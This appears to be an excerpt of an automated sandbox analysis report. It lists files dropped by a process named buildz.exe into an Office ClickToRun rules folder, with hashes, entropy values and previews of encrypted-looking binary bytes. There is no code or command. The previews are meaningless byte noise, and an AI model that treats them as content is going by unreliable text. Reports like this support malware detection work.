Preview:	.<?....(.4.......xxDK...4...%AM.o.n.!.....=3... ZT:.,..S.Z<..Xk...y;J.,..A)Ec..>...U6.jW/.r.u'OV\+d.`.I... ..2.\|....2..?n.....E.....=.."c"y...2.7.]n...B.....}.n,.....r.`..C.W.-.aar)!Qp......T9s.[.)_.g~.]b'Z..?..o...v...Y....mm5....,......'.U...e4hS.wQ.~..I.=O.m.....K!.8.)....xT..A....F=.;.se.....DCC....L........N,PU,.C.....qHy.....S.P..$]...2..r....0.6..~._}.-/..x...l.b.#;.m.#.p....c.......-.*.Ws...Z.!`wR...b.t=......6.8......U..e.V2..Q.Z.u$..>......s..M..lW..2.'.U.O..^.@.@?..ZZ..#..lbY.@.(...!....../.....V.f....f..O".....3..M.z.-O.9L..t.mH..g~U.-...#/c.2La..;....d.....h.p..<...ll.}.}.I3.r.iM..f..ah...$9..0...qt$..k<.N..2\..Y..".K;G..y....p....'....gH.k...1.B6F...KX.^T.(%.....3>z0..(.....[...5...F9w,..1.B..S..<..Se...".7.F...GAs...<...b.....&n.b..i.....g.(c.a..]\|T...$..kj.h........t...Z[0...vJ.2].u..-@#..u9f.4J.R.E..L(@..8L...k.s....F+...7F...<V.a..g..`)...Oe.[../.r.%Ul.}!...M..)..<.,....u...b.(.... ....t.{....,.Dn.usA.k. 3"){

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1757
Entropy (8bit):	7.885509879328265
Encrypted:	false
SSDEEP:	48:spgfQUbQEtzQlPHtOXhxXhhascnP3FHTACvPsDtrmjD:7IxEtqPHtOXDxhfw3FzACEtrO
MD5:	48FF7C923B5717CFABFC336E998AA073
SHA1:	786E8E08E3D7B7B9362F41574C2E87C7C44EB781
SHA-256:	A6D8CBE1810F000C05C1DC14F1749782126D498D11ED2A6F1F1B99F919AD4F49
SHA-512:	EFB2AE85731863656D3C67F8A85E9BC68E19AE5D371621FEC64F52DDAEBD264350E5B0F2942082D3D95428DFA702A8E787C0CB0573E5AFCADD6E38D756C700A1
Malicious:	false
Reputation:	unknown
Preview:	.<?T6..r..FP.X..k...,G......`I......n.o...[....C.i ...%..Dk.r...:..#0..?HG.dsGca...]J'5.....%..]9Q...B.......aU%....w.3.....BSFu..Q..as...;Kx.f.F.u.l#...%.?.....'.P..,.&;..........;.p..k...~yN.vIl....y5.....gdbu../>:.d..W..K.."..B.:V.1.B........ ..dC.0.....+Q..%..E.<L.}....\..I].\.zZ2...x.l.6../b...V...8.6s.etg...AK. #~KA..x...O.c.u.5n....mK~.AF..%.bB.+d.x0.G.^.d..C.C,.......Z..h....B.-...s......b.p(>...q...7...k........Z....F..Q..Y}w.......o.p.E.PI.O.^.4.9...d..b..X2.$%k...l...].Hd....:...A...U.8Rt.-.>b.W..#....toS..8~].J..D.M...\|#P(.,.C%.cJ:!.Xo.S!..s..>.v..}......q...9...FiV\|@z......H.O{.e:l......YC..5...nxL...k..-P...G#.33.i%Il.,.^..<(w....^g..L...lg]w..).\|..b..h...4...%BJ..43.v.`......y....l.t.t.(d..D..\E....\...L.%i.....5r0.....8......je#....J.i.g.iU#.)(..6..i"../.....:!....E.Y........OKzO..p^9.........k.......'S.S..2dPk....l=0...4..i.dG.r.;..&...2s.....9.b.l.Orm..u...+\.o.X.U...8C.w......9Z.sAL."e}....)...r..A.\|..+....]..k......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.88736318249309
Encrypted:	false
SSDEEP:	24:F41laE7NtYsGXuQ9xSkfRz9clAb75tRrywY/zhnXBb+TEhhmicF13kQgyS9UFeRX:F43qs2uYS6B9l5t2/zhnXE5gQlSqoBD
MD5:	8423C07DFBE371D94A5B9F4638E1E6DE
SHA1:	0D4E29F2E687E38CE455410492C825F5EC599794
SHA-256:	F6DC2D82245F7158379416EED4DDC9BE2EE6DD9F487D9B2F4AFFBF934A9940F6
SHA-512:	01E790886FDC855B8869CF8A751A231FB88E9166A902C251FA0244A9F43AC7DCD56022B9D4F205578BEC4DE59E8F2B1F28A26DB0CE0DF5A3E1ABA90872079276
Malicious:	false
Reputation:	unknown
Preview:	.<?....u.l.V.^B.fc...-0e..S.%.....wK!.w.E.Q]D...w7.4P..7...3.:..J........FO...GME...V...(...;h.u+.....#XI..ym.k.r..u...{E\m.QZ.7....wH...E.O.[@$.$$u.=...\|v..7./.z.<i^X'...-....u.7s.h.&,@0n..:..N.q.c\|...}.U.....K.<....@.[..V.c.....P....G%..b..}...:...j<!.._.?..{#..&l..G:E.)..8.=1.i,.4.gMisJ.c...C...z.....S/nZ.L...h~.(...A./w..)-v.S..........t...o+.C\.........;..Dg.>.*.U.....J.qD8RI....RS..^ ........I1..J...m.v....k".....j.IaIVm.!.D"agS..9..ns .k8...,D.7..Ex..2.....9.0.@:5....Z%..re.......q.1.K.].h.t.q5-...L7..f.\...i}.n.%j.z.'.n...#..~e..W....M.'..{...t.8.-.........3.>..Sx...g...,o...CWHS.M@hI.\.....6.9.O.......'^...,7...P..t.\|.A...p.9F......U.rA~.r.@...[...5.f...../../ ..............d...+..u...2...r..Y..arM.u...5..C.%...,.r)......I.w...7.....&.f..Xr.^?S.......u.K.5.aO.`v%}..+..3.....M9.`.N$....;...z-h........4.=W\|.$z..7....82.U..G.0.....i{)..L.[e.NY!x....Z..8<6.V7.m.....7.R.......I.'...V..Yc.~.#3.C.@......C.2`..&s..(1.....1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.8955975519415995
Encrypted:	false
SSDEEP:	48:NN3lZCfUPMrJl40J79Sp9mSTyhcgG3w+ScRQlD:f3lM8wl40J7wp9mST/TScRQd
MD5:	32F84AE795F788CA02705F8031377CBE
SHA1:	DBEF61D0ADE210FF9EC06313E2C617CD78B6C6A1
SHA-256:	5B87D1C82575730EC034EC8998703CC02EDEACE6D2FA3833227B009617AACC79
SHA-512:	B0CC5BC90C59CF2A6DD32A8186AFB0AE6A679EEF8BE8323C2221205E6163C59AFF3B4CAC415A5D6552192DC7AAC4044A199DA61CCAAE286A9E7AABEF65DB465C
Malicious:	false
Reputation:	unknown
Preview:	.<?..K.<g<}l.1........Zr.(v.s.-.....d.v...h.g&.-..db....8 ..u..$..<...._.lj.>"Y..G.....#.$.....G..iw..'..{.h..5.\|M....oZr....6\z]\...z.4bz.......$}y......s.?!....=~..k...........K..:%...\|.m9.....k.H..qD...d..k.)..5.....NZE.,......".v.B.....h.E....k..d...Ob....9B'B..m..t}m2.`L..K....2.J...3.Uf....B.j.ysF.....s.._"........... ...2&=..}z..gJ.....D.... {.....).I....9..{.tD..v.3..<6.../y.L..0....uC...u..u..E..y3%&..M......q..s;D.J..S...N/>.[]Z...$..b.Um.....E..s.\.S=t.i....D1k]....+....sC..z.i.S..g..!......., ...Z.t...eH.6.1..".;q-L...2...:.;.e.......b..e.&...-..xowz...C#0VpK*.~..nnP....yA....WY.i....%n.2........=O\m.EFP.r%Wf....tP..SS,.r..BQ...,kM..uv..(__@...X..X.....3.n=.......F.FJa3.[....P.9?.-c.. ...A.R.3..q..v...D.....h.5.K...e..w..g..TP.[!.:..,...........:....#^b{.vr......;.<2;\|.._=_I^..<.Q.C^T...s.W../..q...].....$o.sU..G..1l.f.m.y..9'.... ..HJ\.y/.......................2. ...3...k...b+.e...Y...M.'...EX..O.w..Dwz.k}..K....7UD#.`.Q.r]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.885412535021674
Encrypted:	false
SSDEEP:	48:Ojpz/XEstoC+GNcWoLbvK0++aLlIqm59yz4hCufcfhD:OhKBGNXoLbvA+ahIqmAkh/fcfJ
MD5:	1354615500F39C838E1DCCECACDD78E3
SHA1:	2F6B2F9B3C9566BCAF61AF7F1A57D5B4660D49C1
SHA-256:	0C4BDEA35AF1D90CAA404773E8AEA2A77F8A8777916FCF1A41D3661F10584DFB
SHA-512:	E07CAE7D4F656B59937482F230C96ED1A844BD748EB6FFC233C47A6E6BBEEE1267F6BCA774F22BBB178E1C6AD9140A8382944FDDBD5BB55CBB1289312921AE0C
Malicious:	false
Reputation:	unknown
Preview:	.<?V/.....Y.q.yO.QE.Sr..v.`y.......I.%...a.2]+z.......=.G.....).;.S..rh{...d..OF)"..M&.......8..3.6h.D.......O[.&.N...g...#.F..h.(..h58j..K...A..).V..z..e...d..`M.....t.d ..#.0-........#.(.w/..v&@Y../....D....{D.s..x.+N`.Q\|+x.o.&....#..D_..gpP.e.k...i...O...O6..at.Mw..b..r.C..^.p.[.ek..<po..ZqK.6..B.....I.P..l..7.....7/..Ol.uc.d.<Z..:,.X=..o;..).,Ib.1.L.e.<A..}.....me...f..=HF.#.o..!."}..hx.H....-;5........)..:..Y.u..,.z.kh.k...A.IR..g].<'.$nRnW..,...@nT....7.w.E......9B...~..y}q#.M....>Ppp.> ........K..!e.B.9M,.%F.8.#..m.#....Hx../....)2......D..F~U.C...%..Z.,g..\|>...f..v<.w#..@N..B...#M.K<>?#7......Mn...s.8e.Z[5.u....."T..D.2W..}.p..A!.X.x........o D}w.......`.BqxZ..\E......5..8.C..b...%....]N...3u...J^v.&%...ao..1..(...y.?..xf.-!.+x@.x^.Z.~...6oh.g.g.H.V...4..~$..x..\......r....S.E7[2..<.z...-....A .,..RuO...l\?...;rv..ZF..)...Sj0_.........*F..}?.....1.l....rH..,.T.._..Nw.W.Ji..x_Lx.,.:VA/M..X.r..<Y...tq [._4N....0...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.884133532987811
Encrypted:	false
SSDEEP:	48:ju+MP9zLfGz2LdWoSDCi4FyHpMvwCxBsltD:fE1LOCozpMhslV
MD5:	218AA59D2691E7E67D5B19DA0B9326E8
SHA1:	553152C29DCF68BA47912A17A4D25802AE31EB39
SHA-256:	BA54772E35E4C4FDE247D1A8848A9BD446A48B75525ED181737FC668635DCAA4
SHA-512:	DC769E5D851C829013182F0C78035D2F6B33B0FBC6C444484170D166B974B13FF72E8723CBBBD2C31CE878C92DF16ACAE5BB9524B409B895D8477A2C3EC10BA4
Malicious:	false
Reputation:	unknown
Preview:	.<?.$...Y;..E..(.....Y?......j.......4.\|..IU1>]........cu<.M.9l......w.....n 7../D..F.N.5..hJ\|E...@.XB.....K....q......H....HzdG2.B.A..Wj,l...o.Y(...4...H.W..,.).J..l6i..N..c..8.?..r..y.........gS".\_.4.......g...".k.W.4...\|.`."...S.D..4a.x.5.q.[....S.B.3mS.s_....).b......Q.....6%z.....k...+.......{.qa..z.N+,..P..5.0.jq.e...@.'.g..H.(..Gu...[.yvE..#.2..h.m.}..\|....E.....p..}..\q'.9.8..b....Cz...N...h:..6.....s.N.)....r.~.-....Q.....w....6.If.fT.0...+"........(......T. ."..;...8.#.RG...EA..J.p./..Dj+..@4.\|.. .u)/..l.%..H....".Z........./C..K......g.p.9.a....[......_.`.p}T....].-..".^.R.[..Xut.s./.D..!....1.........n..6v>C$e.^F......&.V..^3......-.....-<}x+r=nv.uj=.../;.(.../.R}FH.v...&..~.Fi.u.e...>.\.;..NTMS...v.E.p.....O.....[$. YcGw.....u...;.7.@....wQ..J...@....?...\..\|..RK.....Tc.....l..Hze.....BK}.e....5YW...w..W<...{.$...w.n....gu.X...k..........z.....j.Y...:)...o2........ak.@FI9c...,~.Hk..JK...7>P...t.......z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.885859927993242
Encrypted:	false
SSDEEP:	48:XDEYbhy/FQrfTxi0AsILMY7IrcAzFDAPIosMTLD:QY4/FQrfTxhUr7IwApej
MD5:	ED6ECC5EAA769270D49AFF1E425118F6
SHA1:	F7A6E1F37CF196D0C326A9A0A85B27EC7460A301
SHA-256:	9FB02BF6192B90F3774E567C574A967A8C2767BAE849B7CC599E94F3E97841E8
SHA-512:	9E0B067BB350174D275BBCC61316B510AC86B2482E4D0F56216C8083B90EB077D9C6747667AA1721ABB1F949FA5F69ADDFEF9F5E2B7511E8D5E9977F91FFA084
Malicious:	false
Reputation:	unknown
Preview:	.<?:@..?..["xXx.h.8..6..Q...:.....v@...7..h.9..d...<..:..]O.....G.S...Q=>..;..5m~!.....%.OE..Nc..A..rYb.....7.$...mdp.$j.........m.....S..M.W.......t.6>.w..1.....lX\|M....wc6.y...OY.>.5....#,c.i.zs..8.`.............1.a..4.....6yfA....$..R........K.IXB{.....?...O.k....s....Dw....>.v.d..~.......?....w.... ).g....U..(..i3..T....8.y...5Sm.....'..o..-..:lw...$.<....z..J.].u'.......L.N..J.:S....#C%.6..r.$...O8\m.....SCM...io..9..B!4.Ok..K.cb...kT.?w.k.s...P..u.H.=Adl...4.....-.E...t..v.vG(h....V.];-F...m..g..Q.[...d.E.....<...o.v...z7..5..Q>~0.hD...].....&K...~.\|......a...4.u....t.\|.o..a.......f?..........."NQ. .w....D.........`.-....M..5.wl.:muy.6..H ..8....x.:..P.<-...W.j.'&-.GE0dbBJ..%&..qc.FO.. .0.3&......M.IN..'.<?....3..x..x.5..j1..@P.N..v&.j^.../(....~.ba.ah.....1CE.X.,..4.b....`..... ..70..!T...g.[.k.....]\g...R).l.V..Z.......C.Q=Kx..\......{Q...j..O.8.....UW2i...(.;...!5xBH..u.:.>%?[..([.j......3...JL!...1.h....;.s.U.*.sP.ieC.2^T2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.88275704413016
Encrypted:	false
SSDEEP:	48:gqDD0c1dzFiyWbLILHaOciqLoFt4fB06b+D:1DvxUUW7S4fBpbG
MD5:	7E49E0C3F775F35321B42D42C3D9B650
SHA1:	6F62E00660790B140C6D22DC984CFBEE15EE9B24
SHA-256:	81D47BB0D287CBA075F432018AB4683DD3C958FCA3A488073CC309489950B8F1
SHA-512:	6EA60E2C225230E97881D7059130DE49ABA36CF6F469640062CCC8BB4CB6A3333A2039004706668D9BF11A284ED04B158C0E04E6F0F0E5BFA95C07F8F6F1D58F
Malicious:	false
Reputation:	unknown
Preview:	.<?..F....$.Dq.=i.6y>.B.B..,@!q.4.W}.....Z....a....a.t.eAy..8..![....M$..@.s$,2.......8......o.....{......>,.//..&X....$\..Fo.&...m.mO..). {u..\|.....".'=..B6....#.4.lA..y..9Z...'c....)..9.M=Il\u.k.#;.\.f.w......88'......DP...\|....a&]..V<s.-...;.d..<...,:.n..WN.....H.6gc...$.{..=>.V..xD..5...fges....Z[......6.J"..hG....t..5.}mI.f...4yb%?....M....o..I....?i}.dTW....5Y..-9v}9....."4.8......~....9.q........//B..EA...v.C..B..V.S..........^W.m}...$c..m..m.0^..2B5...7...h..2$...q........P...jY(.E..P.S....E....0.M......H...E..+t...d.N;.../.n.....y..e.m...Ol$8r.H....q.I.u..7....+E'.'.TV.N...y.@..{6Av7....ux.lSL..g."...(.2./U.-R...?.~=dT.8>k..+....}.@..a....h..2..a............<t.R..\./k......M\K-U.jB.i\....2.v."..,?.i0.4g..JU.(Xn..u{...7....2.c41.yl.^....l....................l....My..D...\.v.&...6...V0..0U.!..<Y=k.(.".n.v.....\|uy2Z...6..P&...'.0.gK.......e.8`GH.K?S\.JG ....B~.np..\...?.W...X....f...*.H..u.$F....7....H..@o...o7........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.896315519634436
Encrypted:	false
SSDEEP:	48:kQGOnkenIl4BZvw8+hKWbqNXY4HU+/C1HD:yOT3BZEcW2Ypj
MD5:	17687E02D57929D1C6CEB19B8E3630B1
SHA1:	DE72EA710170C7A97595C25F1B5CFAD682F7A8BA
SHA-256:	038176A569FFFB77D90545C5C295FFAAE92FA23AAFD45ACB07681ABB661C23F2
SHA-512:	E0D9FEDF5E8D3ADB9A72E95F4C1702B5E7F44C84DC547AAFC198F02EC8AE6EEF340C26B8ABCA98A55C8D587F5BC41AE512463552C2BFB5EA2FC3C325D6833B0F
Malicious:	false
Reputation:	unknown
Preview:	.<?...w.-\|.B...p. z..n...i......\.y...i...VueR.v&..j..{....q.kqU...<o.$G.#T[..d.g.R...rr;+.4y{.w.F..../.>.iA....4...7o."9D..>j.aj..?X-H.?.K......)..W....`<..fd...z..1p$h.0ha..:...F...\|.../..4..$....P2*.U......a.5..#h.....v..&.....b...5BI8.2]K..._..5....(.w.{...j.\.+....4._!i...9....].zW~...u....B6S.#...J:....W[rvN...$..J_..G.\...83.7.....Rz.0.$J\|.......\|Nz.%..C..r\|..4...>.>.>#.d.$M..D.fM<.P..............m.v..l..m#....AI q....9-...o/.J....\|..]. ..`>.u)Sr.3.b..>......F..EN...,.b..H.2.;...E..0..>t.......B.....mh%M..`>1:.b...L.u....".{..t...~. ..@...a.....%.M.).........L...c\.pK..._...E..\U0..v...%P..M...9..f.<..........l.oM.a....<.M.bwZvY..h$....FPW.......=g[..v..W/..n.%.....L...).S..Hfk..K.S.3 b....z..f.Q/.,....c..#r..8.)...u......I.N..........<.j$..X..V..o.W.!).$.".9.W.v...S..."....q....~..c....s9.....g...7.M...4.n..Qy.X@...1.7.hoH8..k.::...#...R....WG...yDO+...D...Mi.m..:)..X).....M..H~9;...f...m.....9.a.d~...4.........(....%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.876505161438921
Encrypted:	false
SSDEEP:	48:eyRr88o+hEx8K4QLE9lh3WNjs4tPdsr9qvvY7GE7mD:eyyD8YLaGNjskPdscOU
MD5:	E81C302111DBF3F317482D22340877D5
SHA1:	6EC47783A9D269D101BA71766523581FD5CA01A1
SHA-256:	283E0E6EFC4F3D33DB956BA9D232C1F670166040AC8023D9C93257EB1285E21D
SHA-512:	A9DE6DFC71CA4E009F288C79B7AE71A2D8D47032FE7E670E055B6FD260447E124927469C27DA820934C195FC40C1817CF3DA16C5F0CB491528FFC7C9BBA2546B
Malicious:	false
Reputation:	unknown
Preview:	.<?...Z....z..U......x..t.h}&..8...M.\...I^.>."w..F..GH....,.`.A.G.u.%?.u..k.....i....c.. .kq..(.......'()....@.G.f\|^.Bv-...7.{Kb G..JE.qWL^.Q......$#...V3...N.g@~...q..C....D..........h..Sg..\|...J.4.th..1.8.U&.....@L.]..&.W...".m./R4\B+.>},...x...9..m6..2m.j....i..6.j..x@b....V...c..K.....:z.HD.5j\|...7..N...T.y..yd.....I..,R..#b.N.(@.3.zYJa)x.?...1.L....`..Y..,9.D..{.........9....fR.f.n..C..".....c.kY..I..UTB..].JCY.....%.%.{.....iK..^....,.=....,.'H....M._M..!.["...-...Kec..5../. .....3%.^O%>..n.V>........&L2(..&].....s......j.z.......~>-/\|.u.+.. ........,K..L....5.....7...toiU......'`.....k.....{#.b.Z5.\.9...t.%P..vg....;jW..oX..y..A.!....>....#.{8.+..a......q.=...y8.1.KI)........H..h.0.....*.[..Vy..Cj..+.e> .N..A....91..N....3..."...q....y..........;AV....\.'..f..........+I....#..M...r.=.f..n@G.ZTn.x.....U.6..-.U~}.ly.:yNe....E.Qp...m..x.........-Nv.D...s....8...D.H.+3.S.G.........q))...."X..'.JlS..i...C..2x....;.xn....(..#.=r.!....E.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.882890549716745
Encrypted:	false
SSDEEP:	48:F/VPoq8BA2kafeY/YZztLVNBvfx/R6nHJD:LPl8TkaGiEhLVDvfxJ6nB
MD5:	1BE7C0AC93303B7C748FA2D01BD67430
SHA1:	08B5FB5D895348CB83C36F9DEF58C6E745A8FFAF
SHA-256:	2FB97C3D817EDD8B0FAEA68854D0917E343BBEC6C96954B3EB5C84F8E4A377D4
SHA-512:	803BFFF17504A2B88EC108841FD529214B2C30FDC9850151871A5216CAA4D147566666CD7767762AA47947FF92BF38BD8F5037FC5959498E33254ED4BFC5C9A8
Malicious:	false
Reputation:	unknown
Preview:	.<?md..8..Fs..w}.#..E..q.\..x/.!.#....S..1.k.G..Y..d.Mf.75f.$...^..m,T\.3.(.2..{N.by...6.B....>s........R...@......H...e.k....tQ1..m.....R..P@..N!.....L..:.(..u.W.......+.i.L.y.m....~A..%}..`..i^....:...7......C....\K...7..:....8}.MD{..w....5....Y.f..a.f.j....M..l..`U4._>d..... ..d....}.t..}.k.u::5`.?.p..)W\...p...=O.p>.....55....j...V).u.2..M......C>.IV.C.Ku/}d.ci...< .W5+.7......8.6.H.V.?].F.b".......s.PI.t./..%...v,....@d^...........s85...Z=7[..U.."..O9JD.m8.<#..M......".Sq...wd.!`..G.U.....=...q.^wG....$.....~?Y.D.Q.N.n...y.....;<..W..`.e...qN0.V(.".`.:\|&....e. 8[......w...E..]....\|.7.w.R.{.. .{pg.....j.....1.F..4..=...$.J..4..[.H...{.Q....h"..u...d....!.........AH.\.M......p..=]....q[.8..j...h.....f..\..0.\.]/^..F.4_.Y/..DUDpG.i.W6<.@....sw7....C%....(#f.t.WVoS*B[.K0S.R...........cA...............Z.0..E..R.PD"..C.K..~{]d.eo}.].r@X].....O..X.s.j...N..N...:vW..}2...mp/...k...I..j..{......-...P.B......f../..\|.Lw..}.....`.Q........w...%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.878759131433833
Encrypted:	false
SSDEEP:	24:j1hC5hoNkkOmgbldAZlftqxsNZyOOiA8psl1TtOjbRCKEbaF3zYPzdOwC6rw2CVk:hsuUbnohs8e3TtwjEbWDYPRxpyxusuD
MD5:	CB4C9A723E074F17E41BF19204090BC2
SHA1:	A4B30CB8503C524B23F1842293C19A13C0D0F223
SHA-256:	DFDF58E5BD4D528FA14483125E47C095D53110634533A178A2C9D7CE9A423B41
SHA-512:	6FADCCB49528ECABEB7AAC47E1BC34D992A9329862A01A118611601A453FA69EBF87C311026CFFE5A8994CBE914E73772111D010D4F7A85BA12F02D5A89B78DD
Malicious:	false
Reputation:	unknown
Preview:	.<?.>(.Ee..D$v.\.^........hj(...Mp.....b&....E...6.N.E.-.T.......~[{.d.4A`p.=.. .Y........r.#s.L~.x..j......./.p...D.J.....}zzC.&^..e5=M.......c.t.5..D.t......Wm3..M.d...>H.Y......BNr.b..C.....)...{..).)...=....>....:>.^..{....9...^.YU.42.v..~V.<...%;../..Q,+E........%.....kq.....;.3...#@......0Y.X.J[x.U....e..)]..9!.#.h.n..fs7.3..]"[..rH..q. .r._....:.o?.M..+...........#d+E0+...K \/...k7t.........V>.Iw..N}...;.$....,(.]n......`.-.Rn.,..6..I..`......D..9..g.D.^w.J.C.....cTs...E...1.u.......\|..J/h\|p.@fJ.TH@.rw.j.8...c.e.^>I(..sB..U.i..8z..8xUX...'.h/..$=.4[...9.-z.....B.K..6.....T..$....PS.../M.O...V.......;...y.../....!.BD.v\2..<.-..L..F....:..#m........W.\|Z[H..Gw..W..u6....r*...%z..B...A#.\G).3.6j.#.x..V..+Zm..d#\|.s....rW.+"....GsWkW..{[. .e..?.D..4.p;.......C&.<..h(.....M.X.4..=...Wo.>.g..(B/./.''.....>.L9...\|]:q'lw'..a..z..;+.:..$4u;..C$.+......$...Q...}..Z...3.\|.V..-.w}>G;......&.l.....o.].zub".'...........c...hd.FB}Q.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.894316149096716
Encrypted:	false
SSDEEP:	24:q5ltslhxoiADcIEOrF1jDA/IoOdJqWo4TJk0u6UL9jVNsK+Xz5KnILTLUbD:q5YztAzDA/hwIYTW6UfiKetKngf+D
MD5:	FDA4A98D6BAA1E3328600DDC1418FF01
SHA1:	B71FD4E1FCE0D4C357CF383CCFA365B31A04FACA
SHA-256:	89E60B9451FEF1269677E4A8E687A52A752621742485D3F67452959939D0DB60
SHA-512:	98AB194B219F504D131396B1343548A7E70BC0929281995275E414330D6FBD5329CB2758D33574FC2990C3C2025EEBCBC67C9D3D9620118BD9BECA49C9AED1C0
Malicious:	false
Reputation:	unknown
Preview:	.<?l.....,FY.;..N.sK$......\|....:..........l...*m...q.H...%.s[v..l..t#..+_Y..HePj.e.W..b~...J......TA.&......6^.0q.\|/.g.5..xr..#..F...k.9+...OO.#.+..&....q....~.b..\|J1.`..V..`+{?..1H...>.N{...jc.......Q.... ....7$.I..h.......Cct.}{<0n.k.......R.._8U[..B.I...->.c.x...%~...Tg........CX...@E..`.M.........l.........t...D..-.Nm..Z\|.]...W.t..`.C..+.......:L+.=.Yf....G;i..~.....\|...:x...d...Yh...C.J..Z.u68...,nI.....l.........b.L..[..#l...q.9..(...(O.S._..>(.G.cO.}..'._.q..8.&' .T3.)..q.x>...d.....p..a..o....N..5i.&.T.....H....ZlM...fo...k.g..9..G.G....o....`i..,..4.l!5C<DYY.vV.....^.9....Q.,.&h...U}w..B..0..c.t....\.~....p.n.}l..z.<.c.fR.ayV..G:..4........t+g=p..^.7..+./.m.#<.6......,Bq...4..m..Eu...e=(.y&._.R..D.e...p.&~....H....J.[3.W....v{n.I.(..A..2.....z.\.......x.KL.$.j.....T....^N.eV.....4].ce..]...>._.......=.....t..A...\.f.&.IFJ;..a.j..].&.NM...g.._.4,...{$@.........8.0.Wi&.J...$$.....5.KB.F.,...C:.~;]....-~\| n...Ph.4.Z5..f.;......,....w:.`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.889208760374109
Encrypted:	false
SSDEEP:	48:f8UT5pnMFUMUcGeDDIBhpT85vIv5aeaxj5D:rXnPMUc7M5w5vI43lx
MD5:	BE5FBD862DBBB687F3156102CCAF08C6
SHA1:	7A36198BA165CB08C773563AF9C405C242CB05FF
SHA-256:	1419EE228CC834791A97C9B122D771D31F141B49AEEA2B241106C1E00436F8D4
SHA-512:	CBE2E57B9B259D4728596F0E3C5FC2E4F0262A98917E37778814CC9B2E906C38B2AED062750D0082B1F3BC4347DA7CFB5FBE3E54DB1F7D54B173CE961C767212
Malicious:	false
Reputation:	unknown
Preview:	.<?..C......g.j.,T9h.`Q&.....l2.7.f...9_0\...cXY.l....>......v....-..GA..h.H\|F..t..R..4..:.@...D..U..............;....D.r..j .t.^..~..R.[..c....m.oL............=."e.:Y.%B.PX.L.r.....x.N...X..w]Z2...1d..*3d..\|..2...xe.....f.xe.^........+O...)..T.....r{/.<.......:.@,.....AQ.B...WHo!...!!....07n'Lbx."l........FS...f+....c..k............b..;....U...'.=.n.N-...3.i.Y.$....G-.%.. ..al".......Bk5;2X.0.....S...{...k/..0...#.[0._8.`.e...ThztI...U..&W...D.!g......Z.n@.!...N.p...d..u.Ar.-Jc..'.Q\.p...H9...!./...............d..o{....\.R.^.<0#..\|H......p..x.q!.a...N...3.u.Z{..T?o..X<....Oz..@..........\<...^&......E.0...........8....R.."..<...........w..~W80.{.z....>5...n..9.....L0.^_........M.+..v....-...g...@h.7uV..C..(....6..t... ..>.........W..{b(s...\|D/...3..N..`Rs.(.^b8..t..~.\..A.[!Y.<.6..H...............?...E...(.......!f.U.S..4R..#....p.Qn.Z.X"....`C#..`.}f....qP.G~C.22..#F<...F...A...z......g.$N2..#..........xDV\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.9090810238797316
Encrypted:	false
SSDEEP:	48:9IOcJuldbabrsn4kdamgRgvKMwvmA8hAgbYAD:9CI7Obrsn4khgRXjlyAm
MD5:	1F3BA60FF3A280B973677DA285F5B210
SHA1:	7B778B8E56277ABBCC860F1037771A1FD6D8CE06
SHA-256:	69D707EA612A61CD1170898830C00350AB0D5C3170DBC227C04CFDCB901F0D9E
SHA-512:	0365EEEF87AF4573031EEE6CA16DF3373F18755EE4EB00118D8B54F04E9A035699C7241773A22D3386CE459509D9ECE047025ED0E5DEC5930C133399FB0EA8F3
Malicious:	false
Reputation:	unknown
